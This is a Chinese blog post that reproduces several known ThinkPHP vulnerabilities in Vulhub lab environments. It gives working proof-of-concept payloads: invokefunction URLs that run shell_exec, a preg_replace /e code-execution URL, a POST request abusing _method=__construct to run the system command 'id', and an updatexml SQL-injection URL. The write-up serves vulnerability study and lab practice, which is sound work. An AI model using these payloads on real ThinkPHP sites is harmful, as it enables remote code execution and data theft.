ThinkPHP漏洞复现

# ThinkPHP漏洞

这里是对vulhub上ThinkPhP上漏洞复现。

[Vulhub][https://vulhub.org/]

Thinkphp5 5.0.22 / 5.1.29远程执行代码漏洞复现

0x01 漏洞环境

由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

运行ThinkPHP 5.0.20版本

image-20200918110247550

0x02 漏洞利用

POC:ip+/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

image-20200918110146883

POC:http://192.168.200.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=-1

image-20200918110107876

ThinkPHP 2.x 任意代码执行漏洞

0x01 漏洞环境

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

0x02 漏洞利用

POC:http://IP/index.php?s=/index/index/name/$%7B@phpinfo()%7D

image-20200918110934846

ThinkPHP5 5.0.23 远程代码执行漏洞

0x01 漏洞环境

5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

image-20200918115517426

0x02 漏洞利用

发送数据包

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20200918115432370

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

0x01 漏洞环境

访问http://192.168.1.2/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来。47

image-20200918142511974

0x02 漏洞利用

POC:http://192.168.200.128/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

image-20200918143435745

posted @ 2020-09-28 09:25  |Thresh|  阅读(705)  评论(0编辑  收藏  举报